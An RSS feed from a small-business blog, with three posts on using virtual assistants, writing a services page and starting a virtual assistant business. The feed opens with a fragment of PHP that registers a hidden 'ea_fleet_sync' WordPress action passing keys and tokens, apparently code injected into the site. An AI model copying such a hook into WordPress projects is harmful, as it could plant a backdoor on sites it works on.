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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Tips Archives - Social Media Dudes https://socialmediadudes.com/category/tips/ Fri, 18 Sep 2020 11:38:28 +0000 en-US hourly 1 https://socialmediadudes.com/wp-content/uploads/2020/02/cropped-Social-Media-Dudes-1-32x32.png Tips Archives - Social Media Dudes https://socialmediadudes.com/category/tips/ 32 32 How To Use A Virtual Assistant! https://socialmediadudes.com/how-to-use-a-virtual-assistant/?utm_source=rss&utm_medium=rss&utm_campaign=how-to-use-a-virtual-assistant Fri, 18 Sep 2020 11:38:06 +0000 https://socialmediadudes.com/?p=985 The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> Calling on virtual assistants to help you set up your project can be difficult if you have just started your business, and your budget has also just started … But as you develop and your time will become more and more precious, outsourcing certain aspects of your business to independent professionals can be a great source of help.

Some tasks may be left entirely to a third party, while others are part of a whole in which you must also participate. Either way, being able to rely on someone else makes you less stressed, more productive, and even earns more money (because you’re focusing on what you’re really good at). What else?

The right person can sometimes even ensure the proper development of your business without you having to intervene too much. But while you will have to get involved at one point or another, the benefits are indisputable.

Let’s take a closer look at how you go about finding all the help you need, including areas you might not have thought of.

Recruitment and administration

Most businesses, whether internet-based or not, usually use an assistant first. Virtual assistants work exclusively online and do all your administrative tasks for you. They are sometimes specialized in a particular field, for example, the management of social networks.

A virtual assistant can perform several administrative tasks for you, such as:

  • Organize meetings
  • Process your emails
  • Train your new recruits
  • Respond to your customers’ emails
  • Sales/appointment management Manage your documents and keep your databases up to date 
  • Schedule interviews/guest posting opportunities 
  • Perform customer service 
  • Manage social media 
  • Reach out to potential joint venture opportunities 
  • Update your web site/post blog posts

Some of these tasks may take you a minute to get comfortable with having someone do on your behalf.  But take it from me.  The more you use your VA, the easier and more effective your relationship will be for both of you.

Encourage them to ask you as many questions as he needs before throwing him in the deep end. The clearer that you are on what you want done, the better job they will do.

Research

Having your VA perform research for your business is one of the most useful tasks to have them do and which can have a massive impact on your business. . Some of the things that can be researched by your VA are:

  • Find relevant links and statistics to publish a blog post
  • Create a comparative report on prices, advantages and disadvantages, and all other data to help you better manage your business or make you more aware of what your competitors are up to.
  • Monitor the news in your sector to select the best information to relay via social networks

Your VA (aka “research assistant”) is your Google in the flesh. When you’re ready to hire a virtual assistant, think about the research you need for projects you want to accomplish that will take you time (without requiring a high level of expertise). Then write out general guidelines for the information you seek, as well as useful resources and your preferred presentation format.

Design and graphics

If you have little or no graphic design experience, don’t try to learn everything in record time when your time would be more profitable doing something else. Knowing the basics is good. But let the professionals do their job. You’ll get better results, faster.

The term “design” can refer to many things, depending on your business and your needs. Here are the fundamentals common to all companies:

Graphic design: brand assets (logos, style guide, letterhead), social networks (cover image), blog post graphics, etc.

  • Web design: the look, feel, and structure of your website.
  • Photography: portraits and stock images for your website.
  • Video: content (to explain how your products work, for example) or marketing,

Whether it is scheduling, performing the task, editing/touching up, many VA’s can perform this at a high level.

Marketing

Without marketing, no one will know the products and services your business provides. Because to prospective customers, your business doesn’t exist.   In other words, you need to be marketing your business at all times.  When you first start out in business, it is typical you are doing either marketing or sales.  Having a VA can let you do the things that bring in more profits into your business as you focus on those activities.

There are many aspects to a marketing strategy. How can a VA help your marketing efforts?

  • Engage with consumers via email
  • Optimize the organic SEO of your website to increase traffic
  • Use marketing content to convert your visitors into customers
  • Use social networks to build good relationships with your customers and increase your sales
  • Automate reminders and follow-ups based on your customers’ behavior on multiple channels
  • Appear among the relevant results of internet searches thanks to CPC-based advertising (cost per click)
  • Use press relations and influencers to reach new audiences
  • Keep information on all these channels up to date.

This is an area where having a VA work on your behalf can put you ahead of your competition.  I have listed some very different skill sets above, so expect that you may need more than one to get everything done.  That is the beauty of having a VA.  They don’t have to be a 40 hour a week expense.  You can hire them part time to do a few hours a week (or whatever your budget can handle at the moment)

Sales

Hiring a full-time sales person or team for many companies can be a non-starter.  Especially, if you aren’t earning a bunch yet.  You might consider bringing in affiliate marketers to get the word out about your business and the products/services you offer. They will target and promote your services to their (usually large) audience in exchange for a commission on each sale.

Use your VA to research, find and built those affiliate relationships to the point they will bring you in to close the deal.

Create processes /polices

Perhaps you have been going so hard at your business that you either haven’t sat down (or just procrastinated doing so) implementing repeatable processes that insures your business runs smoothly.  Or maybe you never got around to creating terms and conditions for sales, return policies, customer service tracking, etc. (you can see the list can be long).  Maybe you need to implement a workflow that automates the work to move from one person to another?  Use your VA to do this for you by drafting documents that you sign off on.  There is nothing worse than a policy that you do not agree with being implemented on your behalf that puts you in a bad light with customers/prospects.  Take the time to review these items before putting them into practice.

Your takeaway…

Whether you hire one or a team of virtual assistants, there is no end in the ways they can help you automate your business processes and boost your business like never before!   Offloading the non-income generating tasks to a VA can be like jet fuel for your business when done correctly.

To do it right, start small and plan as your business grows, based on your needs. Start with the mundane, repeatable tasks.  When you see how much time that frees up for you, you can begin to expand on the concept.

Call To Action

Hiring a virtual assistant can be made easier when you follow an on-boarding procedure.  And you are in luck!  I have a free Virtual Assistant Onboarding Checklist for you.  Don’t minimize thinking that you got this.  A surprisingly high number of VA’s leave because they haven’t been properly given everything they need to do their job. It gives you guidelines and a checklist of everything you need to get your VA up and running as soon as possible.  Click here for the checklist.

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The post How To Use A Virtual Assistant! appeared first on Social Media Dudes.

]]> Top 5 Things Your Services Page Should Contain! https://socialmediadudes.com/top-5-things-your-services-page-should-contain/?utm_source=rss&utm_medium=rss&utm_campaign=top-5-things-your-services-page-should-contain Sat, 15 Aug 2020 18:27:00 +0000 https://socialmediadudes.com/?p=905 [et_pb_section fb_built=”1″ _builder_version=”4.4.7″ custom_padding=”0px||0px||true|false”][et_pb_row _builder_version=”3.25″ background_size=”initial” background_position=”top_left” background_repeat=”repeat”][et_pb_column type=”4_4″ _builder_version=”3.25″ custom_padding=”|||” custom_padding__hover=”|||”][et_pb_text _builder_version=”4.4.7″ link_text_color=”#8300e9″ link_font_size=”18px” background_size=”initial” background_position=”top_left” background_repeat=”repeat” hover_enabled=”0″] People […]

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People tend to spend a lot of time on their “About” page.  And while there is something to the know/like/trust factor of gaining customers, the page on your site that will make you money and elevate your business from your competition is your Services page.

Your Services page is usually one of the most viewed pages of your website, so you want to do everything you can to have it stand out. Because the right layout and content can potentially lead to more sales.

We have all come to the understanding that our blog posts should be geared to our ICA (Ideal Customer Avatar) to effectively grab our audience. Your Services page should be considered in the same light.  The more you tailor your Services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that will want to work with you.

Here’s how to format your website’s services page to attract more clients!

Top 5 Tips for Creating a Service Page

Capture their attention; lead with your services!

In some regards, this could be considered “qualifying your audience”.  As such, lead with a brief overview of the services you offer.  You can then provide a more detailed description of your services a little further down the page.

Set yourself apart from your competition by letting your prospective clients know the benefits your service offerings will provide to your ICA. To gain a competitive edge, you should also highlight the benefits prospective clients can experience after using your company’s services. Appeal directly to your ideal client by addressing their problems or pain points and how your services can solve them.

Relate your services to your ICA

This was mentioned earlier, but can’t be overstated.  Tell how your product/service can benefit your ICA.  Doing just this can dramatically increase your conversions!  Cement the thoughts/relationship further by being able to detail you have helped specific (ICA) clients previously.  (If they aren’t willing to give a testimonial, then ask their permission to reference them.

Include a section titled “This is for you if…” so your website visitors can quickly skim the content and see if your services are suitable for their particular needs.

CLICK TO TWEET!  Want to know the Top 5 Tips For Creating a Service Page That Converts!

Testimonials pay untold dividends

Don’t forget to make good use of all of those great testimonials you have received on your Services page.  It provides prospects a very good understanding of what they can expect as your customer. Your past clients can really do a good bit of the heavy lifting here if you have done a great job of providing value to them on previous engagements.  While people gravitate to video testimonials, even little snippets pulled from emails can be the nudge that turns a prospect into a customer.  In other words..past success stories are a good indicator of future sales :).  Testimonials deliver on the know/like/trust factor with prospective customers!

Cut to the chase: Post your prices!

I know there are different thoughts on this.  But in my experience, you lose more business by not having prices than posting them.  Why?  Because when I didn’t post pricing, people who went elsewhere only did so because they thought I was too expensive.  Their logic was, looking at your content and site and social media presence, we didn’t think we could afford you.

To me, it just saves time.  I try to let my content/testimonials to the selling so to speak.  If I get on the phone with them, I am not trying to convince them of the value I can provide.  It is more about how am I going to execute.  So, if someone sees my price and is put off for some reason (maybe too expensive, but I have also had folks said I didn’t charge enough and weren’t confident of my skill set. (Turns out, a lot came back after the fact and were pleasantly surprised).  Either way, that is one less phone call.  I know my ICA, what their pain challenges are, as well as the target price point.  As such, I am hitting the mark more often than not J

If you are still looking for a reason to post your prices, some potential customers will leave a website if they can’t find pricing information, so make it easy and include it!  If you are hesitant to list a specific price, I get that.  In that case, provide a range and indicate it will be a matter of what services they decide they want.

A must have: a Call to Action (CTA)

There really isn’t any need to do all of the above and then forget the most important part of your services page:  a Call To Action (aka CTA)  I mean you have told your ICA about the services that would most likely help them and how they could be like previous customers and benefit as a result of doing business with you.

What you need to readily provide now is What is the next step?   This is not the time or the place to beat around the bush on this.  Provide an opportunity to have prospects take the next logical course of events.

How would that look?  Easier than you think, but many Service pages don’t address this.  For example, you can place a button or link that invites them to:

  • Get a quote
  • Contact us now
  • Click here for your free 20 minute consultation

If you want your clients to work with you, make it easy for them to do so!

Your takeaway…

Your Services page on your website provides the best opportunity to hone in on your ICA and make them a customer.  Demonstrate that you know their pains and the challenges they face by showing them how your services directly hit home in a positive manner.  The more you understand and can customize your offerings to your target niche, the more successful you will be in gaining new customers.  And if you know your customers intimately, your pricing displayed on your website will actually benefit you long term and have the right customers approach you for your service.  Solidify the confidence of your ICA that you are more than up for the job by providing great testimonials on your Services page.

The more you tailor your services page to appeal to your ideal client or target market niche, the more likely you will be able to attract the kind of people who need your services and that you want to work with.

Are you ready to take the next step with your website and need help?

Let’s talk about your situation and/or digital media needs.  Contact us for a no obligation 20 minute consultation!

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]]> Launch and Grow Your Virtual Assistant Business! https://socialmediadudes.com/launch-and-grow-your-virtual-assistant-business/?utm_source=rss&utm_medium=rss&utm_campaign=launch-and-grow-your-virtual-assistant-business Sat, 18 Jul 2020 05:55:00 +0000 https://socialmediadudes.com/?p=893 A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are […]

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]]> A virtual assistant is a self-employed worker who provides technical or administrative assistance services for business. Virtual assistants (VA’s) are everywhere today. They offer cost-effective solutions to help business owners so that they can focus on growing their business.

Due to the fact that online work is to be done, the virtual assistant can work from any place in the world. Thanks to technological improvements such as broadband Internet and document sharing, remote working has become a reality.

What qualities should any virtual assistant have?

Being a good virtual assistant is making your customer’s life easier. In a sense, you are delegated to take charge of the tasks which will be entrusted to you.

You need to give your client the feeling that he can leave you unattended while achieving exceptional results. Here are some of the most appreciated qualities in a virtual assistant:

Reliability

Reliability is a must-have of a virtual assistant. Whatever your qualification or the cost of your work, you will lose customers if they cannot count on you.

Rigor

Rigor is very important. People are human and mistakes can happen. But you should avoid unnecessary errors like typos, and missing deadlines. They make seem like small details, but definitely can be a deal breaker for folks who hire VA’s.

A kind and sympathetic personality

You need to balance business and personal feelings toward your employer as a VA. Having a great relationship with your customer will take you further than you could imagine. Some clients are easier to work with than others.  Try your best to stay optimistic, no matter how the client behaves.

Help develop the client’s business

If you can grow a client’s business and it increases their income, you will have a job forever. The extra income you provide to the client will make you an invaluable member of their team.  And in the end, you will get more business as a result of helping their business grow.

Ensure impeccable follow-up

Stay in charge of each job, even if your client is not. Minor jobs can often fall through the cracks, but it’s your duty not to let that happen.

Work well under pressure

Never let a customer see you sweat. It’s a joke, but it’s true in more ways than you might think. You want every customer to feel that they are your only customer, regardless of your workload.  While it is easier said than done, those that can perform gracefully under pressure are the ones who get more work.  Their clients may not acknowledge it, but they appreciate you making their lives easier.

Can you multi-task?

If you can take on multiple tasks at once, get them done on time and budget, you will always be working.  It takes organization, efficiency, and proper planning, but it’s essential for success as a virtual assistant.

How to launch a virtual assistance business in 6 easy steps

Now it’s time to take action and start your business as a VA. This multi-step process will help you see more clearly to get started.

To create your successful virtual help desk, you will need to go through several steps:

  • Choose your offer
  • Set your prices
  • Find your ideal customers
  • And much more…

I will show you step by step the essential points to get started, be sure to take these 7 steps seriously.

1. What services are you going to provide?

You now know that you can offer hundreds of services as a VA. You can do it all, from writing to sending emails, calendar management, accounting, marketing, social media, etc. Concentrate on the skills you have that you like doing. There is no reason to scatter yourself, especially at the beginning, when you have a lot to learn!

But if you are a 1 person operation, indicating that you specialize in 15-20 areas is a disconnect to potential employers.  Find your niche.  It might be social media, content generation or a variety of tasks.  Find several of them and be really good performing them.  More importantly, be ready to show social proof of your ability when a prospective client asks to see your work.

2. Set your prices

Now that you know what services you are going to offer, you need to set the prices for your services. You have to be competitive without selling yourself off to win customers, but then how do you set the right price?

This is what we will see; you should know that most of the virtual assistant offers fall into four main price categories:

  1. Hourly Rates: Your client pays an hourly rate, and you are paid for the time you work.
  2. Project-based: Your client pays a fixed amount for a one-time project (creating social media accounts, designing a website, etc.)
  3. Hourly rate plan: Your client pays for a specific amount of hours to use over time. Depending on your contract, they may expire after a specified period, for example, 6 months or a year.
  4. Monthly: Your client pays you monthly for a set of tasks or a specific number of hours.

The easiest way to determine the value of your services is to do some research on what other virtual assistants charge.

You can do a search on Google, go to freelance sites, or search on forums, Facebook groups and just ask the question.

Average the rates you find, and you will get a clearer picture of the prices you can charge a company in your area of ​​expertise.

Important: Also take into account the experience you have in your field, you cannot charge the same price if you have 10 years of experience or if you have just trained.

Also, don’t severely underprice your services.  While there is such a thing as “buying the business” when you first get started, when you price much less than the lower end of the range, potential employers tend to think you don’t know what you are doing.

3. Know your ideal client and target market

Once you have determined the services you offer and set your prices, you MUST ABSOLUTELY determine the type of clients you want to work with.

If you don’t take the time to know your ideal client, then you will be unable to target them. By knowing it at your fingertip, you know exactly what it needs. Therefore, you can offer him the perfect service.

Be as specific as possible and try to get into the mind of your ideal client:

  • Are they small business owners?  Start ups?
  • Do you work a specific type of business?  (Legal, construction, etc)
  • What are their points of frustration?
  • What types of services are they likely to need?  (Insurance companies are going to have much different needs than an online marketer for example.)

Ask yourself if the work they do is interesting or if it is an area in which you are comfortable. You should also write down how you can help them and why they should choose you over another VA. This step is essential because it will help you develop your marketing plan afterwards.

5. Create your website and set up a marketing strategy

If you want to work as a VA, then most likely, you will work remotely. It is, therefore, essential for you to have an online presence; the best way to present your services and skills is to have a website.

Think of it as your business card, a website will let your potential customers know if you are the best choice for them. There are simple and affordable solutions to create your professional site, Here at Social Media Dudes, we are huge believers in WordPress. 

Social networks are also an essential part of your business; it can be a good source of traffic for your website.  What platforms are your target employers using?  Are they on Facebook? On Instagram? Or even LinkedIn? Communicate with them to show them that you understand their need.

That is where you should be putting some of your marketing efforts towards.

You don’t have to be everywhere: learn where your ideal customers are and master one or two social media platforms.

6. Network with other virtual assistants

Working from the comfort of home can, from time to time, become an isolated job. You will always need a support group, someone who understands you and can help you with advice, or just someone you can share with from time to time.

Find Facebook blogs and groups that are in your niche. Find a group of individuals who share your goals and work alongside them to build a prosperous business.

Leverage your relationships!  If you are a great content marketer and someone else is fantastic at social media management, perhaps you can work together on projects.  Don’t isolate yourself from other VA’s and profits!

7. Under promise and over deliver

Making your customers happy is the greatest asset of your business.

Once you have found your first customer, do everything you can to provide them with quality service; do not hesitate to always deliver a little more.

A satisfied customer can recommend you to other business they know, and you only need a handful of customers to earn a full-time income as a virtual assistant!

Don’t be afraid to ask for feedback.

Ask your customers if there is anything you can improve and take into account everything they tell you. Use each positive review as a testimonial and ask your best customers if you can use them as references. This will go a long way in helping you get more customers.

Finding Virtual Assistant Jobs Online and Offline

Now that you have determined the services you are going to offer, how much you are going to charge for your services and that you have created a website, it is time to find customers.

Finding customers is often the toughest part for any new business, and you will need to be proactive at the start:

  • Send emails to companies
  • Register on freelance sites (Upwork, Freelancer, etc)
  • Use your family and professional network
  • And much more…

Fortunately, there are a few places where you can find more success than others.

Try freelance websites

It is relatively easy to find virtual assistant positions on websites for freelancers like Upwork, Malt or even offered microservices on sites like Fiverr or 5euros.

This is a good way to get started, but you don’t decide who you want to work with and why.

You accept all requests that reach you; therefore, you compete with other VAs and do not have complete control over your business.

But the best way to find clients and get paid for what you are worth is to identify and contact the clients you want to work with.

Call on your family and friends

Don’t be afraid to ask family or friends directly that you are looking for work, tell them what you are doing exactly and how you can help.

You may be surprised to find out they someone who is looking for help and who can put you in touch.

If it turns out that they know someone who is looking for someone with your skills, they will be happy to help and give your contact.

It is a simple method that is successful because you come through a personal recommendation.

Partner with other freelancers or entrepreneurs

You can join Facebook groups of entrepreneurs and participate in networking events. Partnering with other freelancers is a great way to get a job. There are two means to make it workable:

  • Suggest outsourcing: When they are overworked or looking to outsource certain tasks, you can work for them.
  • Partner with a service provider – Team up to offer a broader range of services than you can offer alone. For example, a copywriter and designer can team up to provide all-in-one sales pages.

It’s a win-win method, you both get to work, and it also expands your network.

Direct prospecting

You now know your ideal client and target market, so you can directly contact the clients you want to work with.

It is one of the best methods to get new customers if you have done the work upstream to find your ideal customer.

It is then easy for you to contact him is to explain the services that you offer by pressing on these points of frustration.

Become a VA and get started working from home

If you want to work from home and be independent, the job of a virtual assistant may be for you. It is a business that you can start without a big investment; you only need a computer and an Internet connection.

Having a website is a plus, but it is not essential to start. With a little networking, you will find that it can be quite easy to find your first customer. I hope you have found this safe guide on how to launch and grow as a virtual assistant useful.

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